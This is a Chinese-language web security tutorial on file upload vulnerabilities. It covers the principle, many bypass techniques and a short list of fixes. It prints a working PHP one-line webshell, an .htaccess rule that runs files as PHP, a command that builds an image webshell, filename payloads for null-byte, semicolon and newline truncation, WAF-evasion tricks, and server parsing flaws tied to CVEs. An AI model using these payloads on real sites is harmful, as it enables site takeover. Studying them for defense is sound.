Web安全之文件上傳(原理,繞過,防御)


文件上傳漏洞

 

 

 

原理:

  web應用中對於上傳文件的功能沒有進行嚴格的驗證和過濾,

導致攻擊者可以上傳任意文件,例如一句話木馬(又被稱為Webshell)控制整個網站

 

經典的一句話木馬:

    

<?php @eval($_POST['shell']);?>  

 

    $_POST[]:在php中是一個預定義好的變量,通過它可以獲取到前端表單提交方法為post的表單中的數據

    eval():將字符串作為代碼來執行,在前面加上@(錯誤操作控制符)會抑制該函數產生的錯誤信息。

 

    這樣我們就可以通過將一個文件內容為<?php @eval($_POST['shell']);?> 的php腳本文件上傳到服務器,

    再通過網站管理工具antSword,chopper(中國菜刀)等去連接,shell為參數,也為連接密碼.

常見繞過:

前端JS繞過

刪除前端檢查文件的相關代碼,保存頁面提交

burp抓包改包(前提該功能沒有用純js實現上傳,不然抓不到數據包)

后端繞過:

黑名單:(asp,jsp,php,aspx,cgi,war...)

白名單(jpg,png,jpeg,zip,mp3,gif,rar...)

MIME繞過:

上傳圖片中請求頭中的Content-Type字段為:image/gif,image/jpeg等

上傳腳本文件為application/octet-stream

通過對數據包中Content-Type的偽造來繞過

內容檢測:

文件頭檢測

顧名思義更改數據包中文件頭信息,php改為jpg讓服務器以為是圖片

突破getimagesize()和exif_imagetype()

配合文件包含漏洞上傳圖片馬包含執行

邏輯問題:二次渲染跟條件競爭

根據用戶上傳的圖片生成新的圖片,將原始圖片變為縮略圖,后綴會被改等導致圖片馬失效

第一步 上傳文件

第二步 對文件進行二次操作(驗證,重命名等) 容易產生條件競爭漏洞

應將驗證放在上傳文件前,因為驗證放到后邊時后門已經上傳到了服務器上

Apache .htaccess文件繞過

上傳.htaccess更改apache配置 上傳自定義后綴解析執行

<FilesMatch "shell">

setHandler application/x-httpd-php

</FilesMatch>

匹配到文件名包含shell字符串的文件當作php解析

%00截斷

例如:webshell.php%00.jpg

get會自動解碼 能夠識別%00並截斷

post不會識別 反而會將%00進行url編碼成%25%30%30

所以post截斷的時候必須把%00進行url解碼,解碼后的字符是真正的想要的%00

圖片馬

windows下dos命令 copy 1.jpg /b+shell.php /a webshell.jpg

得到圖片馬webshell.jpg

目錄命名webshell.php/.

.php/.繞過了代碼層的檢驗,服務器保存為webshell.php

配合中間件漏洞(Apache,IIS,weblogic...)

CVE-2017-12615 Tomcat任意文件上傳漏洞

影響版本7.0.0-7.0.79(7.0.81修復不完全)

上傳jsp后門導致接管網站

IIS5.x/6.0解析漏洞

第一種 目錄解析

在網站下建立文件夾名為xxx.asp ,xxx.asa的文件夾,文件夾內的任何擴展名的文件都會被IIS當作asp,asa文件來解析執行

例如/file.asp/1.jpg

1.jpg會被當做asp文件執行

第二種 分號后面的不被解析

xxx.asp;.jpg

會被當做xxx.asp

Apache 低版本1.x/2.x未知擴展名解析漏洞

從右向左識別,例如xxx.php.asd.asdw上傳會被當做xxx.php執行

Apache HTTPD 換行解析漏洞(CVE-2017-15715)

2.4.0~2.4.29版本在解析php時,1.php\x0A將被按照php后綴進行解析,導致繞過服務器的一些安全策略

1.php被攔截

1.php\x0A不攔截

訪問1.php%0a能夠解析

Nginx文件名邏輯漏洞(CVE-2013-4547)

影響版本:Nginx 0.8.41~1.4.3/1.5.0~1.5.7

上傳1.jpg

訪問1.jpg0x20.php 成功被解析

Nginx解析漏洞

該漏洞由於用戶配置不當

訪問1.jpg和1.jpg/.php即可執行圖片馬

上傳漏洞檢測思路

是否二次渲染

中間件信息?IIS,apache,tomcat,nginx

操作系統信息 windows or linux?

WAF繞過及安全修復

常見繞過方法:

數據溢出(垃圾數據填充)-防匹配

Content-Dispostion:formdata;

asdasdasdzxczxcasdasdasdzxczxcasdasdasdzxczxcasdasdasdzxczxcasdasdasdzxczxcasdasdasdzxczxcasdasdasdzxczxcasdasdasdzxczxcasdasdasdzxczxcasdasdasdzxczxcasdasdasdzxczxcasdasdasdzxczxcasdasdasdzxczxc;//注意垃圾數據結束加分號

name="upload_file";

filename="shell.php"

符號變異-防匹配(' " ;):

filename="shell.php或者'shell.php 成功繞過,shell.php"或者shell.php'攔截

waf匹配的時候分三種情況

1:將"shell.php整個匹配到

2:將shell.php匹配到

3:由於雙引號沒閉合,不匹配(上傳成功)

原因:waf從后找雙引號或者單引號往前匹配上傳的文件先經過waf

由於沒閉合,waf沒匹配到,放到后端 后端卻可以正常接收到shell.php實現繞過

數據截斷:(%00 ; 換行符\n)

分號截斷:filename="x.jpg;.php"

換行符截斷:filename="x.p

h

p"

文件名為x.p\nh\n\np

重復數據(參數多次):

filename="x.jpg";filename="x.jpg";filename="x.jpg";filename="x.jpg";filename="x.jpg";filename="x.jpg";filename="x.jpg";filename="x.jpg";filename="x.jpg";filename="x.jpg";filename="x.jpg";filename="x.jpg";filename="x.jpg";filename="x.jpg";......filename="x.php";

借助白名單

filename="Content-Disposition:form-data; name="upload_file"x.php"

修復方案

后端驗證:采用服務器端的驗證模式

后綴檢測:基於黑名單,白名單過濾
MIMIE檢測:基於上傳自帶類型檢測
內容檢測:文件頭,完整性檢測

自帶函數過濾:參考upload-labs里的函數

自定義函數過濾:function check_file(){}

WAF防護產品:寶塔,雲盾,各大安全公司產品等



 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM